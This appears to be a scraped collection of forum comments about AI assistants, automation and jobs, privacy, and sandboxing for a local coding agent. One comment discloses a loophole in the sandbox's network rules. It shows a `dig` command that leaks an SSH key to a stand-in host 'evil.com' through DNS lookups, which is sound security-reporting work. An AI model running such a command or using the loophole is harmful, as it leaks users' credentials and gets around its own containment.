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No, but if they could, they would. That’s what’s being debated here. Whether people would, not should.
Should we restructure society so that having a private airplane is easier and cheaper, but if you don't have one you'll have serious trouble in daily life?
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Many people will have to ask themselves these question soon regardless of their actions. I don't understand the critique here.
It's more like just pondering out loud how automating ourselves out of a job in an economic system that requires us to have a job is going to pan out for the large majority of people in the coming years.
- underestimating how much range humans have in their intelligence and how important it is to productivity.
- overestimating how close LLMs are to replicating that range and underestimating how hard it will be for AI to reach it
- underestimating human capacity to become dissatisfied and invent more work for people to do
- underestimating unmet demand for the work people are doing that LLMs can make orders of magnitude more efficient
I was pretty convinced of the whole "post scarcity" singularity U mindset up until the last year or two... My confidence is low, but I'm now leaning more towards jevins paradox abound and a very slow super intelligence takeoff with more time for the economy to adapt.
The shift in my view has come from spending thousands of hours working with LLMs to code and building applications powered by LLMs, trying to get them to do things and constantly running into their limitations, and noting how the boundary of their limitations have been changing over time. (Looks more like S-curve to me than exponential takeoff). Also some recent interviews by some of the leading researchers, and spending a few hundred hours studying the architecture of human brain and theories regarding intelligence.
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Worth calling out that execution runs in a full virtual machine with only user-selected folders mounted in. CC itself runs, if the user set network rules, with https://github.com/anthropic-experimental/sandbox-runtime . There is much more to do - and our docs reflect how early this is - but we're investing in making progress towards something that's "safe".
> By default, all network access is denied. Your `network.allowLocalBinding` flag, when enabled, allows data exfiltration via DNS. This isn't clear from the docs. I made an issue for that here: https://github.com/anthropic-experimental/sandbox-runtime/is... How it works: `dig your-ssh-key.a.evil.com` sends evil.com your ssh key via recursive DNS resolution; Google/Cloudflare/etc DNS servers effectively proxies the in…
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That seems like a somewhat ridiculous objection. Should everybody start owning their own private planes to avoid people with BO at airplanes?
No, but if they could, they would. That’s what’s being debated here. Whether people would, not should.
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I have my bank statements on a drive on a cloud. We are way past that phase.
I send my bank statements to Gemini to analyze. It's not like bank statements contain anything too sensitive.
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Considering the ubiquity and necessity of driving cars is overwhelmingly a result of intentional policy choices irrespective of what people wanted or was good for the public interest... actually that's quite a decent analogy for integrated LLM assistants. People will use AI because other options keep getting worse and because it keeps getting harder to avoid using it. I don't think it's fair to characterize that as c…
People love their cars, what are you talking about
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Considering the ubiquity and necessity of driving cars is overwhelmingly a result of intentional policy choices irrespective of what people wanted or was good for the public interest... actually that's quite a decent analogy for integrated LLM assistants. People will use AI because other options keep getting worse and because it keeps getting harder to avoid using it. I don't think it's fair to characterize that as c…
What has gotten worse without AI? I don't think writing or coding is inherently harder. Google search may be worse but I've heard Kagi is still pretty great. Apple Intelligence feels like it's easy to get rid of on their platforms, for better and worse. If you're using Windows that might get annoying, personally I just use LTSC.
Yeah Kagi is good, but the web is increasingly dogshit, so if you're searching in a space where you don't already have trusted domains for high quality results, you may just end up being unable to find anything reliable even with a good engine.
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Can humans do nothing now? Is it that hard to pick the potatoes yourself? You already planted them in rows (nature already does this). is it that hard to water them yourself? also feels insincere to tell your neighbor you grew those potatoes when a machine did everything.
Yeah lets compare organising a desktop with planting potatoes. Tractors didn't need subscription, entire thing was owned by you. Automation in agriculture started the income inequality we still see today as Rich landowners didnt need to pay many people. Later the fertilizers and industrial agriculture led to dust bowls. But yeah it was all good right?
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It’s how the LLM works. Anything accessed by the agent in the folder becomes input to the model. That’s what it means for the agent to access something. Those inputs are already “Input” in the ToS sense.
That an LLM needs input tokens to produce output was understood. That is not what the privacy policy is about. To me the policy reads Anthropic also subsequently persists ( “collects” ) your data. That is the point I was hoping to get clarified.
Note that I am talking about this product where the Claude session is running locally (remote LLM of course, but local Claude Code). They also have a "Claude Code on the Web" thing where the Claude instance is running on their server. In principle, they could be collecting and training on that data even if it never enters a session. But this product is running on your computer, and Anthropic only sees files pulled in by tool calls.